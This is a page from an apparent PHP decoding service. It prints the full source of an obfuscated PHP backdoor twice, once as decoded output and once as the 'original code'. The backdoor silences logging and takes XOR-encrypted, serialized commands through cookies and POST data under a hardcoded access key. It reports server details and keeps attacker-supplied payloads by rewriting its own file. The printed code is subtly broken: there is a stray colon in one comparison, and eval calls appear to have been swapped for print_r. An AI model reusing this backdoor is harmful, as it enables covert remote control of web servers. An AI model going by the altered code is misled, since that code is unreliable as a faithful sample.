Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php if (!defined('stream_context_create ')) { define('stream_context_create ', 1..
Decoded Output download
<?php
if (!defined('stream_context_create ')) {
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "
");
}
if (!defined('file_put_contents ')) {
define('file_put_contents ', 1);
$uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';
global $uqnxtj;
function wopfcy($csapeyvhshpvsojolo)
{
if (strlen($csapeyvhshpvsojolo) < 4) {
return "";
}
$ovauxod = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$bujhhiq = str_split($ovauxod);
$bujhhiq = array_flip($bujhhiq);
$csapeyvhshp = 0;
$zemppaprjwwj = "";
$csapeyvhshpvsojolo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $csapeyvhshpvsojolo);
do {
$erzefx = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$csapeyvhshpfgulxm = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$zjrviwa = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$ejoiqebw = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$hyoedias = ($erzefx << 2) | ($csapeyvhshpfgulxm >> 4);
$uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa >> 2);
$wxpwlhu = (($zjrviwa & 3) << 6) | $ejoiqebw;
$zemppaprjwwj = $zemppaprjwwj . chr($hyoedias);
if ($zjrviwa != 64) {
$zemppaprjwwj = $zemppaprjwwj . chr($uzyrkk);
}
if ($ejoiqebw != 64) {
$zemppaprjwwj = $zemppaprjwwj . chr($wxpwlhu);
}
} while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));
return $zemppaprjwwj;
}
if (!function_exists('file_put_contents')) {
function file_put_contents($zemppa, $csapeycdidn, $csapeyvhshphisekkx = False)
{
print_r("Fuck file_put_contents");
$ueehtpj = $csapeyvhshphisekkx == 8 ? 'a' : 'w';
$csapey = @fopen($zemppa, $ueehtpj);
if ($csapey === False) {
return 0;
} else {
if (is_array($csapeycdidn))
$csapeycdidn = implode($csapeycdidn);
$weaqwtw = fwrite($csapey, $csapeycdidn);
fclose($csapey);
return $weaqwtw;
}
}
}
if (!function_exists('file_get_contents')) {
function file_get_contents($eqgmat)
{
$wtxcqu = fopen($eqgmat, "r");
$aneofn = fread($wtxcqu, filesize($eqgmat));
fclose($wtxcqu);
return $aneofn;
}
}
function djiigrjp()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function copcym($kqmlnry, $csapeyvhshpewgiuji)
{
$csapeycdidndlxghp = "";
for ($csapeyvhshp = 0; $csapeyvhshp < strlen($kqmlnry); ) {
for ($csapeynkicztm = 0; $csapeynkicztm < strlen($csapeyvhshpewgiuji) && $csapeyvhshp < strlen($kqmlnry); $csapeynkicztm++, $csapeyvhshp++) {
$csapeycdidndlxghp .= chr(ord($kqmlnry[$csapeyvhshp]) ^ ord($csapeyvhshpewgiuji[$csapeynkicztm]));
}
}
return $csapeycdidndlxghp;
}
function wbyplcyx($kqmlnry, $csapeyvhshpewgiuji)
{
global $uqnxtj;
return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);
}
function rsxomdzz($kqmlnry, $csapeyvhshpewgiuji)
{
global $uqnxtj;
return copcym(copcym($kqmlnry, $uqnxtj), $csapeyvhshpewgiuji);
}
function vugukurf()
{
$zemppagdprzqg = @file_get_contents(djiigrjp());
$hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
if ($hvirtr !== FALSE) {
$oawlezfl = substr($zemppagdprzqg, $hvirtr + 32);
$zdsfjnqc = @unserialize(wbyplcyx(rawurldecode($oawlezfl), md5(djiigrjp())));
} else {
$zdsfjnqc = array();
}
return $zdsfjnqc;
}
function muhzev($zdsfjnqc)
{
$ukqbehn = rawurlencode(rsxomdzz(@serialize($zdsfjnqc), md5(djiigrjp())));
$zemppagdprzqg = @file_get_contents(djiigrjp());
$hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
if ($hvirtr !== FALSE) {
$efgouh = substr($zemppagdprzqg, $hvirtr + 32);
$zemppagdprzqg = str_replace($efgouh, $ukqbehn, $zemppagdprzqg);
} else {
$zemppagdprzqg = $zemppagdprzqg . "
//" . md5(djiigrjp()) . $ukqbehn;
}
@file_put_contents(djiigrjp(), $zemppagdprzqg);
}
function ewxmpe($midbassj, $omoqaula)
{
$zdsfjnqc = vugukurf();
$zdsfjnqc[$midbassj] = wopfcy($omoqaula);
muhzev($zdsfjnqc);
}
function kluposw($midbassj)
{
$zdsfjnqc = vugukurf();
unset($zdsfjnqc[$midbassj]);
muhzev($zdsfjnqc);
}
function kanwfey($midbassj = NULL)
{
foreach (vugukurf() as $vpnhxd => $csapeynkicztmkhjesm) {
if ($midbassj) {
if (strcmp($midbassj, $vpnhxd) == 0) {
print_r ("Line: 137");
print_r ($csapeynkicztmkhjesm);
break;
}
} else {
print_r ("Line: 142");
print_r ($csapeynkicztmkhjesm);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $xoemfn => $kqmlnry) {
$kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));
if (isset($kqmlnry['ak']) && $uqnxtj == $kqmlnry['ak']) {
if ($kqmlnry['a']: == 'i') {
$csapeyvhshp = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $kqmlnry['ak'], );
echo @serialize($csapeyvhshp);
exit;
} elseif ($kqmlnry['a'] == 'e') {
print_r ("Line: 155");
print_r ($kqmlnry['d']);
} elseif ($kqmlnry['a'] == 'plugin') {
if ($kqmlnry['sa'] == 'add') {
ewxmpe($kqmlnry['p'], $kqmlnry['d']);
} elseif ($kqmlnry['sa'] == 'rem') {
kluposw($kqmlnry['p']);
}
}
echo $kqmlnry['ak'];
exit();
}
}
kanwfey();
}
} ?>
Did this file decode correctly?
Original Code
<?php
if (!defined('stream_context_create ')) {
define('stream_context_create ', 1);
@ini_set('error_log', NULL);
@ini_set('log_errors', 0);
@ini_set('max_execution_time', 0);
@error_reporting(0);
@set_time_limit(0);
if (!defined("PHP_EOL")) {
define("PHP_EOL", "\n");
}
if (!defined('file_put_contents ')) {
define('file_put_contents ', 1);
$uqnxtj = 'c0a926a1-336f-4287-960a-39125fee9913';
global $uqnxtj;
function wopfcy($csapeyvhshpvsojolo)
{
if (strlen($csapeyvhshpvsojolo) < 4) {
return "";
}
$ovauxod = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=";
$bujhhiq = str_split($ovauxod);
$bujhhiq = array_flip($bujhhiq);
$csapeyvhshp = 0;
$zemppaprjwwj = "";
$csapeyvhshpvsojolo = preg_replace("~[^A-Za-z0-9\+\/\=]~", "", $csapeyvhshpvsojolo);
do {
$erzefx = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$csapeyvhshpfgulxm = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$zjrviwa = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$ejoiqebw = $bujhhiq[$csapeyvhshpvsojolo[$csapeyvhshp++]];
$hyoedias = ($erzefx << 2) | ($csapeyvhshpfgulxm >> 4);
$uzyrkk = (($csapeyvhshpfgulxm & 15) << 4) | ($zjrviwa >> 2);
$wxpwlhu = (($zjrviwa & 3) << 6) | $ejoiqebw;
$zemppaprjwwj = $zemppaprjwwj . chr($hyoedias);
if ($zjrviwa != 64) {
$zemppaprjwwj = $zemppaprjwwj . chr($uzyrkk);
}
if ($ejoiqebw != 64) {
$zemppaprjwwj = $zemppaprjwwj . chr($wxpwlhu);
}
} while ($csapeyvhshp < strlen($csapeyvhshpvsojolo));
return $zemppaprjwwj;
}
if (!function_exists('file_put_contents')) {
function file_put_contents($zemppa, $csapeycdidn, $csapeyvhshphisekkx = False)
{
print_r("Fuck file_put_contents");
$ueehtpj = $csapeyvhshphisekkx == 8 ? 'a' : 'w';
$csapey = @fopen($zemppa, $ueehtpj);
if ($csapey === False) {
return 0;
} else {
if (is_array($csapeycdidn))
$csapeycdidn = implode($csapeycdidn);
$weaqwtw = fwrite($csapey, $csapeycdidn);
fclose($csapey);
return $weaqwtw;
}
}
}
if (!function_exists('file_get_contents')) {
function file_get_contents($eqgmat)
{
$wtxcqu = fopen($eqgmat, "r");
$aneofn = fread($wtxcqu, filesize($eqgmat));
fclose($wtxcqu);
return $aneofn;
}
}
function djiigrjp()
{
return trim(preg_replace("/\(.*\$/", '', __FILE__));
}
function copcym($kqmlnry, $csapeyvhshpewgiuji)
{
$csapeycdidndlxghp = "";
for ($csapeyvhshp = 0; $csapeyvhshp < strlen($kqmlnry); ) {
for ($csapeynkicztm = 0; $csapeynkicztm < strlen($csapeyvhshpewgiuji) && $csapeyvhshp < strlen($kqmlnry); $csapeynkicztm++, $csapeyvhshp++) {
$csapeycdidndlxghp .= chr(ord($kqmlnry[$csapeyvhshp]) ^ ord($csapeyvhshpewgiuji[$csapeynkicztm]));
}
}
return $csapeycdidndlxghp;
}
function wbyplcyx($kqmlnry, $csapeyvhshpewgiuji)
{
global $uqnxtj;
return copcym(copcym($kqmlnry, $csapeyvhshpewgiuji), $uqnxtj);
}
function rsxomdzz($kqmlnry, $csapeyvhshpewgiuji)
{
global $uqnxtj;
return copcym(copcym($kqmlnry, $uqnxtj), $csapeyvhshpewgiuji);
}
function vugukurf()
{
$zemppagdprzqg = @file_get_contents(djiigrjp());
$hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
if ($hvirtr !== FALSE) {
$oawlezfl = substr($zemppagdprzqg, $hvirtr + 32);
$zdsfjnqc = @unserialize(wbyplcyx(rawurldecode($oawlezfl), md5(djiigrjp())));
} else {
$zdsfjnqc = array();
}
return $zdsfjnqc;
}
function muhzev($zdsfjnqc)
{
$ukqbehn = rawurlencode(rsxomdzz(@serialize($zdsfjnqc), md5(djiigrjp())));
$zemppagdprzqg = @file_get_contents(djiigrjp());
$hvirtr = strpos($zemppagdprzqg, md5(djiigrjp()));
if ($hvirtr !== FALSE) {
$efgouh = substr($zemppagdprzqg, $hvirtr + 32);
$zemppagdprzqg = str_replace($efgouh, $ukqbehn, $zemppagdprzqg);
} else {
$zemppagdprzqg = $zemppagdprzqg . "\n\n//" . md5(djiigrjp()) . $ukqbehn;
}
@file_put_contents(djiigrjp(), $zemppagdprzqg);
}
function ewxmpe($midbassj, $omoqaula)
{
$zdsfjnqc = vugukurf();
$zdsfjnqc[$midbassj] = wopfcy($omoqaula);
muhzev($zdsfjnqc);
}
function kluposw($midbassj)
{
$zdsfjnqc = vugukurf();
unset($zdsfjnqc[$midbassj]);
muhzev($zdsfjnqc);
}
function kanwfey($midbassj = NULL)
{
foreach (vugukurf() as $vpnhxd => $csapeynkicztmkhjesm) {
if ($midbassj) {
if (strcmp($midbassj, $vpnhxd) == 0) {
print_r ("Line: 137");
print_r ($csapeynkicztmkhjesm);
break;
}
} else {
print_r ("Line: 142");
print_r ($csapeynkicztmkhjesm);
}
}
}
foreach (array_merge($_COOKIE, $_POST) as $xoemfn => $kqmlnry) {
$kqmlnry = @unserialize(wbyplcyx(wopfcy($kqmlnry), $xoemfn));
if (isset($kqmlnry['ak']) && $uqnxtj == $kqmlnry['ak']) {
if ($kqmlnry['a']: == 'i') {
$csapeyvhshp = array('pv' => @phpversion(), 'sv' => '2.0-1', 'ak' => $kqmlnry['ak'], );
echo @serialize($csapeyvhshp);
exit;
} elseif ($kqmlnry['a'] == 'e') {
print_r ("Line: 155");
print_r ($kqmlnry['d']);
} elseif ($kqmlnry['a'] == 'plugin') {
if ($kqmlnry['sa'] == 'add') {
ewxmpe($kqmlnry['p'], $kqmlnry['d']);
} elseif ($kqmlnry['sa'] == 'rem') {
kluposw($kqmlnry['p']);
}
}
echo $kqmlnry['ak'];
exit();
}
}
kanwfey();
}
}
Function Calls
None |
Stats
MD5 | ba97fb1af3bb28dd48728591f6fe3ba1 |
Eval Count | 0 |
Decode Time | 80 ms |